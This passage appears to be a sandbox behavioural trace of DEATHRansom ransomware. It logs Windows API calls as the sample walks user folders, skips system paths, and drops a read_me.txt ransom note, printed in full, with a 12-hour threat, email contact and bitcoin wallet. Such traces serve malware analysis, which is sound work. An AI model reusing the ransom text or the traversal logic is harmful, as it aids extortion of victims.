ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppData", cAlternateFileName="")) returned 1 [0077.802] wnsprintfW (in: pszDest=0x41a2088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData") returned 41 [0077.802] lstrcmpW (lpString1="AppData", lpString2="..") returned 1 [0077.802] lstrcmpW (lpString1="AppData", lpString2=".") returned 1 [0077.802] StrStrW (lpFirst="appdata", lpSrch="programdata") returned 0x0 [0077.802] StrStrW (lpFirst="appdata", lpSrch="$recycle.bin") returned 0x0 [0077.802] StrStrW (lpFirst="appdata", lpSrch="program files") returned 0x0 [0077.802] StrStrW (lpFirst="appdata", lpSrch="windows") returned 0x0 [0077.802] StrStrW (lpFirst="appdata", lpSrch="all users") returned 0x0 [0077.802] StrStrW (lpFirst="appdata", lpSrch="appdata") returned="appdata" [0077.802] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0077.802] wnsprintfW (in: pszDest=0x41a2088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data") returned 50 [0077.802] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0077.803] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0077.803] StrStrW (lpFirst="application data", lpSrch="programdata") returned 0x0 [0077.803] StrStrW (lpFirst="application data", lpSrch="$recycle.bin") returned 0x0 [0077.803] StrStrW (lpFirst="application data", lpSrch="program files") returned 0x0 [0077.803] StrStrW (lpFirst="application data", lpSrch="windows") returned 0x0 [0077.803] StrStrW (lpFirst="application data", lpSrch="all users") returned 0x0 [0077.803] StrStrW (lpFirst="application data", lpSrch="appdata") returned 0x0 [0077.803] GetProcessHeap () returned 0x540000 [0077.803] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41b2090 [0077.804] lstrcpyW (in: lpString1=0x41b2090, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data" [0077.804] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 36 [0077.804] QueueUserWorkItem (Function=0x40a710, Context=0x41b2090, Flags=0x0) returned 1 [0077.804] GetProcessHeap () returned 0x540000 [0077.804] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41c2098 [0077.805] wnsprintfW (in: pszDest=0x41c2098, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*") returned 52 [0077.805] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x10, ftCreationTime.dwHighDateTime=0x2, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="", cAlternateFileName="\x07")) returned 0xffffffff [0077.805] wnsprintfW (in: pszDest=0x41c2098, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\read_me.txt") returned 62 [0077.805] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\application data\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a4 [0077.806] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.806] WriteFile (in: hFile=0x7a4, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f094, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f094*=0x6b3, lpOverlapped=0x0) returned 1 [0077.806] CloseHandle (hObject=0x7a4) returned 1 [0077.807] GetProcessHeap () returned 0x540000 [0077.807] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41c2098 | out: hHeap=0x540000) returned 1 [0077.807] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="Contacts", cAlternateFileName="")) returned 1 [0077.807] wnsprintfW (in: pszDest=0x41a2088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts") returned 42 [0077.807] lstrcmpW (lpString1="Contacts", lpString2="..") returned 1 [0077.807] lstrcmpW (lpString1="Contacts", lpString2=".") returned 1 [0077.807] StrStrW (lpFirst="contacts", lpSrch="programdata") returned 0x0 [0077.807] StrStrW (lpFirst="contacts", lpSrch="$recycle.bin") returned 0x0 [0077.807] StrStrW (lpFirst="contacts", lpSrch="program files") returned 0x0 [0077.807] StrStrW (lpFirst="contacts", lpSrch="windows") returned 0x0 [0077.807] StrStrW (lpFirst="contacts", lpSrch="all users") returned 0x0 [0077.807] StrStrW (lpFirst="contacts", lpSrch="appdata") returned 0x0 [0077.807] GetProcessHeap () returned 0x540000 [0077.807] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41c2098 [0077.807] lstrcpyW (in: lpString1=0x41c2098, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" [0077.807] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 37 [0077.807] QueueUserWorkItem (Function=0x40a710, Context=0x41c2098, Flags=0x0) returned 1 [0077.807] GetProcessHeap () returned 0x540000 [0077.807] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41d20a0 [0077.808] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*") returned 44 [0077.808] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.808] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\.") returned 44 [0077.808] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.809] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.809] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.809] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\..") returned 45 [0077.809] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.809] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ea7ef20, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2ea7ef20, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2ea7ef20, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x49a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Aclviho ASldjfl.contact", cAlternateFileName="ACLVIH~1.CON")) returned 1 [0077.809] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact") returned 66 [0077.809] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0077.809] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact") returned 64 [0077.809] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaa5080, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaa5080, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaa5080, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="asdlfk poopvy.contact", cAlternateFileName="ASDLFK~1.CON")) returned 1 [0077.809] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact") returned 64 [0077.809] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eacb1e0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eacb1e0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eacb1e0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x499, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="chucu jadnvk.contact", cAlternateFileName="CHUCUJ~1.CON")) returned 1 [0077.809] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact") returned 63 [0077.809] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0077.809] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\desktop.ini") returned 54 [0077.809] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lulcit amkdfe.contact", cAlternateFileName="LULCIT~1.CON")) returned 1 [0077.809] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact") returned 64 [0077.809] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 1 [0077.809] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact") returned 64 [0077.809] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0 [0077.809] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.809] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\read_me.txt") returned 54 [0077.809] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a4 [0077.810] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.810] WriteFile (in: hFile=0x7a4, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f094, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f094*=0x6b3, lpOverlapped=0x0) returned 1 [0077.811] CloseHandle (hObject=0x7a4) returned 1 [0077.811] GetProcessHeap () returned 0x540000 [0077.811] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41d20a0 | out: hHeap=0x540000) returned 1 [0077.811] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="Cookies", cAlternateFileName="")) returned 1 [0077.811] wnsprintfW (in: pszDest=0x41a2088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies") returned 41 [0077.811] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0077.811] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0077.811] StrStrW (lpFirst="cookies", lpSrch="programdata") returned 0x0 [0077.811] StrStrW (lpFirst="cookies", lpSrch="$recycle.bin") returned 0x0 [0077.811] StrStrW (lpFirst="cookies", lpSrch="program files") returned 0x0 [0077.811] StrStrW (lpFirst="cookies", lpSrch="windows") returned 0x0 [0077.811] StrStrW (lpFirst="cookies", lpSrch="all users") returned 0x0 [0077.811] StrStrW (lpFirst="cookies", lpSrch="appdata") returned 0x0 [0077.811] GetProcessHeap () returned 0x540000 [0077.811] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41d20a0 [0077.811] lstrcpyW (in: lpString1=0x41d20a0, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies" [0077.811] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 38 [0077.811] QueueUserWorkItem (Function=0x40a710, Context=0x41d20a0, Flags=0x0) returned 1 [0077.811] GetProcessHeap () returned 0x540000 [0077.811] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41e20a8 [0077.812] wnsprintfW (in: pszDest=0x41e20a8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*") returned 43 [0077.812] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sikvnb huvuib.contact", cAlternateFileName="廠疙汈㧦\x17甴\x17a")) returned 0xffffffff [0077.812] wnsprintfW (in: pszDest=0x41e20a8, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\read_me.txt") returned 53 [0077.813] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\cookies\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a4 [0077.813] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.813] WriteFile (in: hFile=0x7a4, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f094, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f094*=0x6b3, lpOverlapped=0x0) returned 1 [0077.814] CloseHandle (hObject=0x7a4) returned 1 [0077.814] GetProcessHeap () returned 0x540000 